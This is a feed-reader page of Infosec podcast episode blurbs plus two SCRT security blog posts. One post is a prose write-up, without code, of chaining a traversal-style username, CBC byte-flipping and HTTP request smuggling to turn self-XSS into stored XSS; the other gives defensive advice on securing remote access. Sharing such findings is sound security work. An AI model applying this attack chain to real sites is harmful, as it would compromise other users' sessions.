Normal view

There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

How to get a cybersecurity startup off the ground | Guest Kevin O'Brien

By: Infosec
2 March 2020 at 07:00

Kevin O’Brien is the CEO and Co-founder of GreatHorn, a high-growth, venture-backed email security company based in Boston, Massachusetts, that is focused on solving phishing, credential theft, malware, ransomware and business email compromise for cloud email platforms, and was named a Gartner Cool Vendor, RSA Innovation Sandbox finalist and Infosec Awards Cutting Edge winner. If you are well on your way up the cybersecurity career ladder, you might think that startup would be the next step. Kevin and Cyber Work podcast host Chris Sienko tell us about his career to that point and some of the highlights and pitfalls of such a massive endeavor.

Currently CEO and co-founder of email security company GreatHorn, Kevin O’Brien is a frequent speaker, commentator and author that advises customers and the public on data security and privacy issues. With 20 years of deep cybersecurity expertise, most notably with CloudLock (Cisco), Conjur (CyberArk) and @stake (Symantec), Kevin also serves as co-chair for the Mass Technology Leadership Council’s cybersecurity group. Outside of security, Kevin is a lifelong martial artist, avid skier and amateur sailor.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast


About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

How to become a penetration tester | Guest Dr. Wesley McGrew

By: Infosec
9 March 2020 at 07:00

It’s been a while since we’ve talked penetration testing and offense-oriented network security on the show, and I know some of you have been asking for it, so today’s your lucky day!

On the show we have Dr. Wesley McGrew, the director of Cyber Operations for HORNE Cyber. We’re going to talk about going on the offense as a good defense, the current state of pentesting and the raw work of reverse engineering malicious software and vulnerability testing. If you’re looking for the type of job that gets you out on the cybersecurity battlefield and fighting the bad guys, you’re going to want to give this episode your undivided attention!

Wesley McGrew is the author of penetration testing and forensic tools used by many practitioners. He is a frequent presenter at DEF CON and Black Hat USA. At the National Forensics Training Center, he provided digital forensics training to law enforcement and wounded veterans. As an adjunct professor he designed a course he teaches on reverse engineering to students at Mississippi State University, using real-world, high-profile malware samples. This effort was undertaken as part of earning National Security Agency CAE Cyber Ops certification for the university. He has presented his work on critical infrastructure security to the DHS joint working group on industrial control systems. Wesley earned his Ph.D. in computer science at Mississippi State University for his research in vulnerability analysis of SCADA HMI systems used in national critical infrastructure. He served as a research professor in MSU’s Department of Computer Science & Engineering and Distributed Analytics and Security Institute.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

How universities are evolving to teach cybersecurity | Guest Chad Hardaway

By: Infosec
16 March 2020 at 07:00

A massive number of Infosec students have come to us as part of the military, Pentagon, Department of Defense or other government departments, and it’s likely that many listeners and learners are interested in a career in cybersecurity that could lead to a career in the government. If so, you’re going to find this episode quite interesting and enlightening.

Today’s guest is Chad Hardaway, deputy director of the University of South Carolina’s Office of Economic Engagement and a founding faculty member of the new Master's Program of Engineering Entrepreneurship and Innovation in the College of Engineering and Computing. The University of South Carolina Office of Economic Engagement created SC Cyber to be the central point of focus for academic, government and corporate collaboration in the area of cybersecurity. The results are a strong and connected pipeline between the academic study and research of cybersecurity strategies and military and government applications for them.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Identifying worms, bots, fraud and other malicious traffic | Guest Fang Yu

By: Infosec
23 March 2020 at 07:00

Take a deep dive into worms, spam, hijacked accounts, fraudulent transactions and more in this week's episode featuring Fang Yu, CTO of fraud detection platform DataVisor. Fang discusses her work developing algorithms and building systems for identifying malicious traffic, the process of co-founding a security startup and lessons learned from seven years at Microsoft.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Fang started in the Microsoft cybersecurity research department with her DataVisor co-founder, Yinglian Xie,  before the two started their company. Fang received her Ph.D. degree from the EECS Department at University of California at Berkeley. Her interests center on “big-data for security.” Over the past 10 years, she has been developing algorithms and building systems for identifying various malicious traffic such as worms, spam, bot queries, faked and hijacked account activities, and fraudulent financial transactions. Fang has published many papers at top security conferences and filed over 20 patents. Product wise, she has helped different online services combat large-scale attacks with multiple successful stories. DataVisor’s customers are an impressive bunch, they span the likes of Alibaba, Pinterest, LetGo, most major U.S. banking institutions and some of the largest Chinese insurance companies.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

How to become a cyber risk specialist | Guest Ryan Wallace

By: Infosec
30 March 2020 at 07:00

Learn how to transition into a career in cyber risk in this episode featuring Ryan Wallace, a cyber risk analyst at HORNE Cyber. Ryan was a small business owner specializing in branding, graphic design and consulting before transitioning into cybersecurity. It’s important to note that cybersecurity professionals come from all walks of life, and you can do your job really well and pursue opportunities in the cybersecurity field even if you haven’t been hacking into government mainframes since childhood! We talk about transferable skills from non-security to security roles, soft skills you need for both and climbing the ladder on the cyber risk analyst path.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Ryan Wallace is a cyber risk supervisor at HORNE Cyber where he specializes in IT risk related assurance services. He provides analytic expertise regarding policy design and implementation as well as IT compliance. Ryan also consults on information systems environment compliance and management for public and middle-market clients. Ryan joined the firm in 2014 with previous experience as a small business owner specializing in branding, graphic design and consulting. Ryan earned a Bachelor of Accountancy at Mississippi State University.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

Combining Request Smuggling and CBC Byte-flipping to stored-XSS

30 March 2020 at 07:51

During a recent penetration test we stumbled upon a couple of issues which independently might not have warranted any attention, but when combined allowed to compromise other users by injecting arbitrary JavaScript into their browsers. It goes to show that even certain issues which might not always seem particularly interesting (such as self-XSS) can sometimes be exploited in meaningful ways. I’ll keep this mostly theoretical so as not to divulge any information on the actual targeted system.

The first interesting behaviour we noticed during the assessment was related to the authentication mechanism. When logging in with a valid user account, the application would generate a base64-encoded session cookie which always started with the same values but had differing endings. This often happens when the cookie contains some kind of encrypted information related to the account and a timestamp to define how long the cookie is valid. Given the fact that the start of the cookie was always the same, it pointed to the fact that the encryption mode was either ECB or CBC with a static IV.

The web application actually decrypts the content of the cookie to display the username on the main page. The latter was discovered by attempting a CBC byte-flipping attack which allowed us to see certain blocks of scrambled text in the resulting page.

In this particular case, we weren’t able to generate arbitrary accounts to force the creation of arbitrary cookies, but we did notice a particularly strange behaviour in the authentication mechanism which allowed us to generate semi-arbitrary cookies anyways, which would in turn allow us to generate encrypted blocks for values we could use to inject JavaScript into the page.

It turns out that if we could login with an account named test, it was also possible to login with an account named ./toto/titi/../../test. This username was accepted with the same password as the original one. There is most certainly some other vulnerability here (path traversal or XPath injection maybe?), but given the limited time of the assessment, we weren’t able to exploit it in any other way than the one detailed below.

Given the “name traversal” issue, we could essentially generate encrypted cookies with arbitrary blocks. Since some of these blocks are then decrypted and shown in the web page, we were then able to force the generation of blocks which would result in a self-XSS. Obviously when we first noticed that the username was reflected in the page we attempted to inject JavaScript code directly into the username, but this was actually rejected by the application, so the only way of exploiting the issue was through the manipulation of the encrypted cookie, as its decrypted value was not sanitized. Unfortunately, this would only impact ourselves, unless we found a way to set another browser’s cookie to our malicious value.

This is where Burp’s request smuggler plugin came in handy, as while we were busy encrypting cookies, it also revealed that the web application was vulnerable to a request smuggling vulnerability. This type of vulnerability gives an attacker the ability to prepend another user’s HTTP request to the web application. This is where our previous discoveries related to the cookie parsing came in handy, as the request smuggling issue allowed us to specify the URL and headers of a subsequent request from another browser. In essence, this allows us to specify the cookie used by another browser for one request (although it could be repeated multiple times).

So, by exploiting this issue, we can send our malicious cookie to another user’s browser and therefore have our decrypted malicious javaScript code executed in his browser. That particular page would be rendered with our own cookie and privileges, but any further request would keep the browser’s original cookie and privileges (as long as we don’t perform another smuggling attack…). This would therefore allow our script to interact with the affected domain in any way the legitimate user could. Our Self-XSS was therefore transformed into a stored-XSS! A very restrictive CSP could have made our life harder, but in this case there was none.

I hope this quick post can give you other ideas to exploit weird and seemingly unrelated issues such as these in your own assessments!

Fuzzing, security testing and tips for a career in AppSec | Guest Dr. Jared DeMott

By: Infosec
6 April 2020 at 07:00

Learn all about fuzzing and application security with repeat guest Dr. Jared DeMott, CEO and founder of VDA labs. The last time he appeared (October 2018), the focus was on Internet-of-Things (IoT) security, but Jared is also the author of Fuzzing for Software Security Testing and Quality Assurance. In this episode we go deeper into continuous integration and deployment (CI/CD), fuzzing, dynamic analysis security testing and other AppSec tools, as well as practical tips and suggestions for entering the field.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Dr. Jared DeMott is the Founder & CEO of VDA Labs, a full-scope cybersecurity company. DeMott previously served as a vulnerability analyst with the NSA. He holds a PhD from Michigan State University. He regularly speaks on cyber matters at conferences like RSA, DerbyCon, BlackHat, ToorCon, GrrCon, HITB and others. He was a finalist in Microsoft’s BlueHat prize contest, which helped make Microsoft customers more secure. Dr. DeMott has been on three winning Defcon capture-the-flag teams, and has been an invited lecturer at prestigious institutions such as the U.S. Military Academy. Jared is a Pluralsight author, and is often interviewed by media to weigh in on cyber matters.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

Military cybersecurity jobs, offensive security and CTFs | Guest Ken Jenkins

By: Infosec
13 April 2020 at 07:00

Explore the world of military cybersecurity careers, capture-the-flag (CTF) competitions and offensive security with Ken Jenkins, CTO of By Light’s Cyberspace Operations Vertical. Ken discusses the various jobs he held in the military, conducting computer forensics investigations and some of the best run CTFs being held today.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Ken Jenkins currently serves at the Chief Technology Officer of By Light’s Cyberspace Operations Vertical and leads the organization’s EmberSec team. He brings more than 24 years of Information Technology and Cybersecurity expertise to his work in red teaming, penetration testing, threat hunting, threat emulation, incident response and systems engineering. Ken is also a decorated combat veteran and retired soldier. His active duty responsibilities covered operations and defense of DoD networks and battle command systems. Ken regularly completes in Capture the Flag competitions and is a technical mentor to the Cyber Patriot Program. He earned his bachelor's in Technical Management from DeVry university and holds over 30 commercial certifications, including CISSP, OSCP and many more.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

SCRT on Covid-19 and Remote Access / Working From Home

14 April 2020 at 13:26

Like everybody, SCRT has been adjusting to life under Covid-19 over the last weeks. Thankfully, we’ve been prepared for working from home for quite some time now as many of us do so during normal circumstances anyways. This is however not the case for all companies and we’ve unfortunately been called in to help some of them deal with the unwanted consequences of poorly setting up their remote access (read: they got hacked). So here is a quick blog post detailing the main issues we see with remote access systems and what can be done to avoid them.

From an attacker’s perspective, there are essentially three ways of exploiting a remote access system to reach a company’s internal network:

  1. Compromise the device of an end user and wait until he or she legitimately connects to the system to either steal the credentials or the session
  2. Compromise valid credentials
  3. Compromise the remote access system itself

When we look at it this way, most people will probably be wary of the end user devices connecting to the corporate network as a “new” attack vector since everybody is working from home. But before getting into that, I want to mention the other categories first, as up to now they have been the ones which have been causing the most problems (that we have seen).

Compromising valid credentials

Whatever the remote access system you have setup, whether it be a simple RDP server exposed to the Internet, a Citrix Netscaler or any flavour of SSL-VPN, if the users connecting to them use a single authentication factor (a password), their accounts will get compromised and attackers will gain access to the system. It’s as simple as that.

Some people might be thinking that a “complex” password policy and rotating passwords every few months will avoid this, but the truth is there is always someone within the company who will be using Geneva2020! (supposing your company is based in Geneva) as their password. A decent attacker will quickly find the appropriate account and connect to the system with it.

The only solution here is implementing a second authentication factor. Microsoft wrote a nice post about passwords which can be found here, which shows pretty well why any other measure will be ineffective.

Not all authentication factors are born equal though and there are differences between tokens, certificates or SMSs but whatever the second factor is, it will be better than relying on a single password. If a machine certificate is used as an authentication factor, it does have the advantage of being “unphishable”, unlike any other factor which has to be entered by the user.

So the first recommendation, which shouldn’t come as a surprise, is to implement Multi-Factor Authentication (MFA) for your remote access system. Even if it obviously doesn’t provide perfect security, it is a big step in the right direction.

Compromising the Remote Access System

If 2019 taught us anything, it’s that remote access systems are not as secure as vendors will try to make us believe. Last year, most SSL-VPN vendors were hit by at least one serious vulnerability allowing attackers to break into the protected network:

  • Netscaler (CVE-2019-19781)
  • Fortinet (CVE-2018-13382)
  • Pulse Secure (CVE-2019-11510)
  • SonicWall (CVE-2019-7482)
  • Palo Alto (no CVE)

Let’s add to that Bluekeep (CVE-2019-0708) for RDP and we’ve already got a lot of systems covered. And these are just the ones that were made public!

So the second takeaway here is to always ensure your remote access systems are up to date. Vulnerabilities in these systems have important consequences and are usually very quickly exploited, so make sure you have a way of being notified when a new patch is available and apply it as soon as possible.

Compromising an end user device

And now we get to the final aspect of this post which is attempting to secure your systems from potentially compromised end user devices. In many cases, companies are now allowing employees to remotely connect to the corporate network with their own personal devices on which the company has absolutely no control. There might not even be AppLocker on the device!

The bottom line is that unfortunately, if a compromised device is used to connect to a remote access system, an attacker can pretty much do anything the legitimate user can. Whether you have multi-factor authentication setup or not will not protect you against this. For example, an attacker can simply wait for the legitimate user to authenticate to the SSL-VPNs Web interface and then steal the generated session cookie. If the cookie is bound to the user’s IP address, the attacker can proxy his/her connections through the victim’s workstation.

Preventing a device from being compromised in the first place entirely depends on the end user (in the case where he or she is using their own personal device). Awareness trainings can help, though often only employees who are interested in the subject and therefore need it the least attend unless they are mandatory. Nevertheless, talking about the subject and discussing cases with employees, and therefore integrating them into the company’s defense mechanism will raise awareness and increase the chances of at least detecting the attacks.

MELANI wrote a short document on how users can protect themselves which can be found here. It covers several topics, but I’d say the main recommendation is that if it is at all possible, have a separate work computer from your private one and make sure nobody else uses it.

Protecting against a compromised private device is akin to protecting against a malicious insider. Much like dealing with Covid19, there are mainly two options here:

  • Isolation
  • Detection

This is not rocket science, but most companies still have a hard time properly segmenting their internal network and implementing strict firewall rules, which makes it difficult to truly isolate a malicious user. On the upside, these are issues which all companies should be tackling, whether it’s due to the current situation leading to increased Work from Home, or not.

When I say isolation, I essentially mean applying the least-privilege principle and ensuring a user only has access to what he or she absolutely needs in order to work efficiently. In this way, even if the user’s device is compromised, the attacker can still only access what the user has access to.

When it comes to detection, it is all about detecting patterns of actions which deviate from the norm. Why is someone from IT suddenly attempting to read files on the accounting share? Probably because it’s not really them doing it! This requires some kind of base for comparison, and some intelligence to detect the outliers. A flurry of solutions based, for example, on machine learning techniques exist to do this, but I won’t go so far as to recommend one over the other.

Summary (TL;DR)

So to summarize the contents of this post, my recommendations to secure a remote access solution are:

  • Use multiple authentication factors, and if possible one which is unknown to the user
  • Make sure your remote access solution is up to date
  • Have your employees use a dedicated machine for accessing the network whenever possible
  • Apply the least privileges principle and restrict access to the strict minimum for all users
  • Detect abnormal patterns and behaviours

Without working on these aspects, companies will essentially be blind and very vulnerable to attacks targeting these remote access solutions.

Teaching internet safety to children, teens and the elderly | Guest Patrick Craven

By: Infosec
20 April 2020 at 07:00

Patrick Craven, the director of (ISC)²'s Center for Cyber Safety and Education, teaches kids how to be safe on the internet, and he does so with the persuasive power of Garfield! On today's episode, Patrick discusses the goals of the center, including how they received exclusive use from Jim Davis to use his characters to teach internet safety to kids, teens, parents and the elderly. He also shares tips for staying safe online and how to help friends, family and loved ones stay safe from bad actors on the internet.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Patrick Craven has over 30 years of experience working within the non-profit industry and has held various C-Level executive leadership roles across the country at notable charitable organizations such as Big Brothers Big Sisters, Vietnam Veterans Memorial Fund and the Boy Scouts of America. As Director for the Center for Cyber Safety and Education, he is responsible for all business operations, supporting the Board of Trustees, service delivery, providing leadership to employees and volunteers, managing multiple income streams, overseeing marketing and business development functions, new program development and liaising with external agencies. Patrick has been successful across the country developing innovative and award-winning marketing, advertising, sales, management and fundraising programs. He has a bachelor's in communication from Xavier University (Cincinnati, OH). Patrick is also a member of the ECPI University, Lake Mary Campus’ Program Advisory Board, Cyber and Network Security.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

How is the open exchange of information affecting cybersecurity? | Guest Cody Cornell

By: Infosec
27 April 2020 at 12:00

Organizations may be hesitant to share attack vectors, data breaches and other cybersecurity information, but that siloed approach is holding cybersecurity back, says Cody Cornell, co-founder and CEO of Swimlane. On today's episode, Cody discusses the open sharing of security information, how it can transform cybersecurity from a source of consternation into an opportunity and ways to get your company to buy into this new way of thinking.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Cody is responsible for the strategic direction of Swimlane and the development of its security automation and orchestration solution. His passion for open exchange of security information and deep vendor integration drives him to pursue opportunities to maximize the value his customers receive from their investments in security operations. In 2011, Cody co-founded Phoenix Data Security Inc., a cybersecurity professional services organization known for their ability to blend strategy and engineering with an organization’s business requirements. After beginning his career in the U.S. Coast Guard, Cody spent 15 years in IT and security, including roles with the U.S. Defense Information Systems Agency, Department of Homeland Security, American Express and IBM Global Business Services.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

Cybersecurity and compliance: What's here, what's next? | Guests Scott Madsen and Jeff Dennis

By: Infosec
30 April 2020 at 07:00

Regulation never rolls backwards. Once passed and enforced, it is only a matter of time before every state in the U.S. adopts new regulations like the California Consumer Privacy Act (CCPA). Join Scott Madsen, CEO at Cingo Solutions, and Jeff Dennis, Head of Privacy and Data Security at Newmeyer Dillion, for expert advice to help you stay compliant in 2020 and beyond.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Learn how cybersecurity professionals can deal with the changing compliance landscape, including what organizations are affected by CCPA and equivalent laws, why IT and security pros need regulatory compliance expertise, and how to build privacy and compliance into your overall cybersecurity strategy.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

What does a military forensics and incident response expert do? | Guest Daniel Young

By: Infosec
4 May 2020 at 07:00

Digital forensics is an interesting field, but one that also can be a bit murky. It's handled in different ways in the private sector, military scenarios or government applications. (Spoiler: If you perform investigations on extremists and terror groups, be prepared to watch some fairly disgusting videos.) Learn all about military digital forensics and incident response from today's guest, Daniel Young, managing partner and co-founder of QuoLab Technologies. He discusses what it's like working on huge multi-person operations in the DoD and Air Force, as well as the importance of comprehensive threat information sharing, both internally and externally.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

With nearly 15 years of experience in digital forensics and incident response, Dan Young helps drive the overall direction of his new company, QuoLab Technologies, a developer of a collaborative and threat driven Security Operations Platform (SOP). Prior to QuoLab, Dan was involved with the U.S. Department of Defense and United States Air Force in several digital forensics analyst positions. Dan is very passionate about bridging the gap between technological efficiency and human ingenuity, and firmly believes that our best way forward as an industry is to focus on collaboration and data sharing at all levels.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Red team hacking in the age of COVID-19 | Guest John Cartrett

By: Infosec
11 May 2020 at 07:00

Dive back into the world of Red Team operations with today's guest, John Cartrett of the SpiderLabs team at Trustwave. He leads clandestine-style operations in simulated attacks on organizations to help them find their least expected and most dangerous vulnerability points and tighten them up. Despite being a newly hot practice that a lot of people are just getting into, John has been red teaming for five years, with another thirteen years before that of IT experience and other forms of offensive testing.

Listeners are always asking how to get started in red teaming and what they need to know to get on that ladder, so we'll be talking about career strategies and skill sets — but I also want to know whether anything has changed or will now change in the light of the current global COVID-19 pandemic.  With red team staffs currently scattered and isolating at home and the economy suffering, will this change the nature of red teaming now or in the years to come?

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

John is a Principal Consultant and the Red Team lead for the SpiderLabs team at Trustwave. His responsibilities mainly include managing all red team services in the Americas from start to finish, as well as being a subject matter expert on red team services globally. He has eighteen years of information technology experience and ten years of offensive testing experience with the last five years focused on clandestine-style Red Teaming. He has directed and executed close to one hundred full-scope red team operations for organizations of all sizes and geographic locations. He has obtained many certifications from organizations such as Microsoft,Cisco, GIAC and Offensive Security, as well as attended thousands of hours of skills-based training.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

From AI to deepfakes: How machine learning is affecting cybersecurity | Guest Emmanuel Tsukerman

By: Infosec
18 May 2020 at 07:00

Is what you're watching real, fake or a combination of both? Machine learning and artificial intelligence make it easier than ever to blur those lines, and cybercriminals are already exploiting the technology. Today's guest is Infosec Skills author Emmanuel Tsukerman, who literally wrote the book on machine learning for cybersecurity. He discusses the deep learning applications of cybercrime, how machine learning technologies are being used by security professionals, and ways you can leverage these new skills to help boost your cybersecurity career.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Dr. Tsukerman graduated from Stanford University and UC Berkeley. He began his cybersecurity career in a small startup as a cybersecurity data scientist, where he developed a machine-learning-based anti-ransomware solution that won the Top 10 Ransomware Products award by PC Magazine. In addition, Dr. Tsukerman designed a machine-learning malware detection system for Palo Alto Network's firewall service, securing over 30,000 enterprise customers in real time. He is the author of the “Machine Learning for Cybersecurity Cookbook” and the popular Infosec learning paths “Cybersecurity Data Science” and “Machine Learning for Red Team Hackers.”

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

What’s new in ethical hacking: Latest careers, skills and certifications | Guest Keatron Evans

By: Infosec
21 May 2020 at 07:00

Put on your white hat and learn how to hack for the good guys! Ethical hackers use the same techniques used by cybercriminals to assess an organization’s vulnerabilities and help keep them safe. Join Keatron Evans, Infosec instructor and Managing Partner at KM Cyber Security, in this audio rebroadcast of a popular webinar. You'll learn about getting started in ethical hacking, in-demand ethical hacking skills, popular ethical hacking training and certifications, common ethical hacking jobs and career paths, and more.

– View the webinar recording of this episode on YouTube: https://www.youtube.com/watch?v=n3tl43QpnXM
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Keatron Evans is regularly engaged in training, consulting, penetration testing and incident response for government, Fortune 50 and small business. In addition to being the lead author of the best selling book, Chained Exploits: Advanced Hacking Attacks from Start to Finish, you will see Keatron on major news outlets such as CNN, Fox News and others on a regular basis as a featured analyst concerning cybersecurity events and issues. For years, Keatron has worked regularly as both an employee and consultant for several intelligence community organizations on breaches and offensive cybersecurity and attack development. Keatron also provides world class training for the top training organizations in the industry, including Infosec Flex live boot camps and the Infosec Skills on-demand skill development platform.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Hunting criminals and stolen identities across the internet | Guest Amyn Gilani

By: Infosec
25 May 2020 at 07:00

Explore the hidden corners of the internet and the stolen identities that live there with today's guest, Amyn Gilani, Vice President of Product at 4iQ. He talks about his path from red teaming to cyber attribution intelligence, where bad guys hide on the internet, and what it's like to be “on a mission to unmask cybercriminals.”

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Amyn Gilani is the Vice President of Product at 4iQ, a Los Altos-based adversary intelligence company. Previously, he was a Chief Technologist at Booz Allen Hamilton where he provided expertise to federal and commercial clients focusing on incident response, red teaming, threat hunting and cybersecurity operations engineering. Prior to joining Booz Allen, Amyn was a Vice President in Information Security at Goldman Sachs where he led red team operations and emulated sophisticated attacks against securities trading platforms and payment systems. He began his career serving in the United States Air Force as an intelligence analyst and was on detail at the National Security Agency and United States Cyber Command.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

2020 election security: Vulnerabilities, lockdowns and disinformation | Guest John Dickson

By: Infosec
1 June 2020 at 07:00

The 2020 presidential election is just around the corner, and cybersecurity is once again at the forefront. From disinformation campaigns and election-related vulnerabilities to lockdowns and vote by mail efforts due to COVID-19, we cover it all — and more — in this jam packed episode featuring returning favorite, John Dickson, Principal at Denim Group, Ltd.

– Free election security resources: https://www.infosecinstitute.com/iq/election-security-training/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

John Dickson is an internationally recognized security leader, entrepreneur and Principal at Denim Group, Ltd.  He has nearly 20 years of hands-on experience in intrusion detection, network security and application security in the commercial, public and military sectors. As a Denim Group Principal, he helps executives and Chief Security Officers (CSO’s) of Fortune 500 companies, including major financial institutions, launch and expand their critical application security initiatives.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Cybersecurity careers: How to stand out, get hired and make more money | Guest Karl Sharman

By: Infosec
8 June 2020 at 08:00

How can you stand out from the crowd when applying for your dream cybersecurity job, and how much should you make? Karl Sharman, a cybersecurity staffing and recruiting pro at BeecherMadden, answers those questions and more on today's episode. Learn how to get your foot in the door, how organizations can avoid writing Magical Unicorn Candidate job descriptions, and why the cybersecurity career landscape is closer to a diamond than a pyramid in shape.

– Free election security resources: https://www.infosecinstitute.com/iq/election-security-training/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

